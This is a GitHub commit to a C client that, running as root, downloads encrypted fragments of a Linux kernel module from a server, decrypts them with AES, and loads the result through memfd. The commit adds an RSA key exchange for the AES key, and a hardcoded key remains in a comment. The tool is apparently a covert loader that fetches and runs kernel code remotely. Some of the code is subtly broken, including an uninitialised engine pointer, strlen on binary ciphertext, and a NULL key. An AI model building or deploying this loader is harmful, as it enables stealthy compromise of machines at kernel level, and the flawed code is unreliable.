Skip to content

Commit

Permalink
Merge pull request #40 from lil-skelly/rsa-exchange
Browse files Browse the repository at this point in the history
Server-Client secure cryptographic key transmission via RSA
  • Loading branch information
lil-skelly authored Oct 27, 2024
2 parents c970671 + 41c65d6 commit 50323a0
Show file tree
Hide file tree
Showing 6 changed files with 128 additions and 36 deletions.
8 changes: 5 additions & 3 deletions client/include/cipher.h
Original file line number Diff line number Diff line change
Expand Up @@ -18,8 +18,10 @@ typedef struct{
size_t text_size;
} decrypted_t;

decrypted_t *decrypt_fraction(fraction_t *fraction);
char *generate_publickey(void);
decrypted_t *decrypt_fraction(fraction_t *fraction,unsigned char *key);
EVP_PKEY *generate_keypair(void);
char *write_public_key(EVP_PKEY *pkey);
char *write_private_key(EVP_PKEY *pkey);
void decrypted_free(decrypted_t *decrypted);

unsigned char *decrypt_msg(EVP_PKEY *pkey, unsigned char *in);
#endif
2 changes: 1 addition & 1 deletion client/include/load.h
Original file line number Diff line number Diff line change
Expand Up @@ -12,5 +12,5 @@
#include "../include/cipher.h"
#include "../include/log.h"

uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len);
uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len, unsigned char *key);
int load_lkm(const uint8_t *lkm, ssize_t total_size);
76 changes: 64 additions & 12 deletions client/src/cipher.c
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,9 @@ static void handle_errors(void) {
abort();
}

static int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
unsigned char *iv, unsigned char *plaintext) {
static int decrypt(unsigned char *ciphertext, int ciphertext_len,
unsigned char *key, unsigned char *iv,
unsigned char *plaintext) {
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
Expand All @@ -34,14 +35,14 @@ static int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char
return plaintext_len;
}

decrypted_t *decrypt_fraction(fraction_t *fraction) {
decrypted_t *decrypt_fraction(fraction_t *fraction,unsigned char *key ) {

size_t decrypted_size;

unsigned char key[32] = {0x6d, 0x46, 0x75, 0x32, 0x4c, 0x2f, 0x69, 0x34,
0x78, 0x65, 0x76, 0x4a, 0x34, 0x4e, 0x33, 0x36,
0x72, 0x44, 0x74, 0x35, 0x35, 0x5a, 0x4f, 0x34,
0x35, 0x4b, 0x63, 0x72, 0x6e, 0x30, 0x75, 0x57};
// unsigned char key[32] = {0x6d, 0x46, 0x75, 0x32, 0x4c, 0x2f, 0x69, 0x34,
// 0x78, 0x65, 0x76, 0x4a, 0x34, 0x4e, 0x33, 0x36,
// 0x72, 0x44, 0x74, 0x35, 0x35, 0x5a, 0x4f, 0x34,
// 0x35, 0x4b, 0x63, 0x72, 0x6e, 0x30, 0x75, 0x57};

unsigned char *decrypted_text = malloc(fraction->data_size);

Expand Down Expand Up @@ -72,8 +73,7 @@ void decrypted_free(decrypted_t *decrypted) {
free(decrypted);
}

char *generate_publickey(void) {

EVP_PKEY *generate_keypair(void) {
EVP_PKEY *pkey = NULL;
EVP_PKEY_CTX *pctx = NULL;

Expand All @@ -99,9 +99,11 @@ char *generate_publickey(void) {
return NULL;
}
EVP_PKEY_CTX_free(pctx);
return pkey;
}

char *write_public_key(EVP_PKEY *pkey) {
BIO *bio = BIO_new(BIO_s_mem());

if (PEM_write_bio_PUBKEY(bio, pkey) <= 0) {
handle_errors();
EVP_PKEY_free(pkey);
Expand All @@ -111,9 +113,59 @@ char *generate_publickey(void) {

char *pem_key = NULL;
long pem_len = BIO_get_mem_data(bio, &pem_key);
char *copy = malloc(pem_len);
char *copy = malloc(pem_len + 1);
memcpy(copy, pem_key, pem_len);
BIO_free(bio);
copy[pem_len] = '\0';

BIO_free(bio);
return copy;
}

unsigned char *decrypt_msg(EVP_PKEY *pkey, unsigned char *in) {

EVP_PKEY_CTX *ctx;
ENGINE *eng;
unsigned char *out;
size_t outlen, inlen;
EVP_PKEY *key;

inlen = strlen((char *) in);

ctx = EVP_PKEY_CTX_new(pkey, eng);
if (!ctx) {
handle_errors();
return NULL;
}
if (EVP_PKEY_decrypt_init(ctx) <= 0) {
handle_errors();
EVP_PKEY_CTX_free(ctx);
return NULL;
}

if (EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_PKCS1_OAEP_PADDING) <= 0) {
handle_errors();
EVP_PKEY_CTX_free(ctx);
return NULL;
}
if (EVP_PKEY_decrypt(ctx, NULL, &outlen, in, inlen) <= 0) {
handle_errors();
EVP_PKEY_CTX_free(ctx);
return NULL;
}

out = OPENSSL_malloc(outlen);
if (!out) {
handle_errors();
EVP_PKEY_CTX_free(ctx);
return NULL;
}
if (EVP_PKEY_decrypt(ctx, out, &outlen, in, inlen) <= 0) {
handle_errors();
EVP_PKEY_CTX_free(ctx);
OPENSSL_free(out);
return NULL;
}

EVP_PKEY_CTX_free(ctx);
return out;
}
4 changes: 2 additions & 2 deletions client/src/fraction.c
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ int download_fraction(int sfd, char *url, fraction_t *fraction) {
}

*fraction = downloaded_fraction;


// Cleanup
http_free(&res);
Expand All @@ -48,7 +48,7 @@ int fraction_parse(char *data, size_t size, fraction_t *fraction) {
if (size < HEADER_SIZE) {
log_error("Insufficient size: %lu", size);
return 1;

}

// Extract fields from data buffer with endianess handling
Expand Down
8 changes: 4 additions & 4 deletions client/src/load.c
Original file line number Diff line number Diff line change
Expand Up @@ -11,15 +11,15 @@
#include <stdlib.h>
#include <string.h>

uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len) {
uint8_t *decrypt_lkm(fraction_t *fractions, int fractions_count, ssize_t *len,unsigned char *key) {

uint8_t *module = NULL;
ssize_t total_size = 0;
ssize_t module_size = 0;
decrypted_t *decr;

for (int i = 0; i < fractions_count; i++) {
decr = decrypt_fraction(&fractions[i]);
decr = decrypt_fraction(&fractions[i], key);
if (decr == NULL) {
log_error("Decryption process failed");
return NULL;
Expand Down Expand Up @@ -68,8 +68,8 @@ int load_lkm(const uint8_t *lkm, ssize_t total_size) {
close(fdlkm);
return -1;
} else if (written_bytes != total_size) {
log_error("Incomplete write to memfd (Expected %zu, wrote %zd)",
total_size, written_bytes);
log_error("Incomplete write to memfd (Expected %zu, wrote %zd)", total_size,
written_bytes);
close(fdlkm);
return -1;
}
Expand Down
66 changes: 52 additions & 14 deletions client/src/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,10 @@ int main(void) {
fraction_t *fractions = NULL;
uint8_t *module = NULL;
ssize_t module_size;

EVP_PKEY *pkey = NULL;
char *private_key = NULL;
char *public_key = NULL;
unsigned char *aes_key = NULL;
if (geteuid() != 0) {
log_error("This program needs to be run as root!");
exit(1);
Expand All @@ -58,12 +61,36 @@ int main(void) {
}
freeaddrinfo(ainfo);

//if (http_post(sfd, "/aeskey", "text/plain", generate_publickey(),
// &http_post_res) != HTTP_SUCCESS) {
// log_error("Failed to send RSA Public Key\n");
// goto cleanup;
//}
// if (http_post(sfd, "/aeskey", "text/plain", generate_publickey(),
// &http_post_res) != HTTP_SUCCESS) {
// log_error("Failed to send RSA Public Key\n");
// goto cleanup;
// }

pkey = generate_keypair();
if (pkey == NULL) {
return EXIT_FAILURE;
}
public_key = write_public_key(pkey);
if (public_key == NULL) {
return EXIT_FAILURE;
}
/*
if (http_post(sfd, "/publickey", "text/plain", public_key, &http_post_res) !=
HTTP_SUCCESS) {
log_error("Failed to send public key");
goto cleanup;
}
*/
// Wait for the server implmentation of the response

/* aes_key = decrypt_msg(pkey, (unsigned char *)http_post_res.data);
if (aes_key == NULL) {
log_error("Failed to decrypt data from server");
goto cleanup;
}
*/
if (http_get(sfd, "/", &http_fraction_res) != HTTP_SUCCESS) {
log_error("Failed to retrieve fraction links");
goto cleanup;
Expand All @@ -80,9 +107,7 @@ int main(void) {
goto cleanup;
}


int lines_read =
split_fraction_links(http_fraction_res.data, fraction_links, num_links);
int lines_read = split_fraction_links(http_fraction_res.data, fraction_links, num_links);
if (lines_read < 0) {
log_error("Failed to split fraction links");
goto cleanup;
Expand All @@ -101,7 +126,7 @@ int main(void) {
goto cleanup;
}
}

log_info("Downloaded fractions");

qsort(fractions, lines_read, sizeof(fraction_t), compare_fractions);
Expand All @@ -110,7 +135,7 @@ int main(void) {
print_fraction(fractions[i]);
}

module = decrypt_lkm(fractions, num_links, &module_size);
module = decrypt_lkm(fractions, num_links, &module_size, aes_key);
if (module == NULL) {
log_error("There was an error creating the module");
goto cleanup;
Expand All @@ -126,12 +151,15 @@ int main(void) {
cleanup_string_array(fraction_links, num_links);
cleanup_fraction_array(fractions, lines_read);
free(module);
free(private_key);
free(public_key);
EVP_PKEY_free(pkey);

close(sfd);

return EXIT_SUCCESS;

/* There's nothing to see here, move on*/
/* There's nothing to see here, move on*/
cleanup: // we accept NO comments on this. have a !nice day
if (sfd != -1) {
close(sfd);
Expand All @@ -149,6 +177,16 @@ int main(void) {
http_free(&http_post_res);
}
free(module); // no need to check module != NULL as free(NULL) is defined by
// the C standard to do nothing
// the C standard to do nothing
if (private_key) {
free(private_key);
}
if (public_key) {
free(public_key);
}
if (pkey) {
EVP_PKEY_free(pkey);
}

return EXIT_FAILURE;
}

0 comments on commit 50323a0

Please sign in to comment.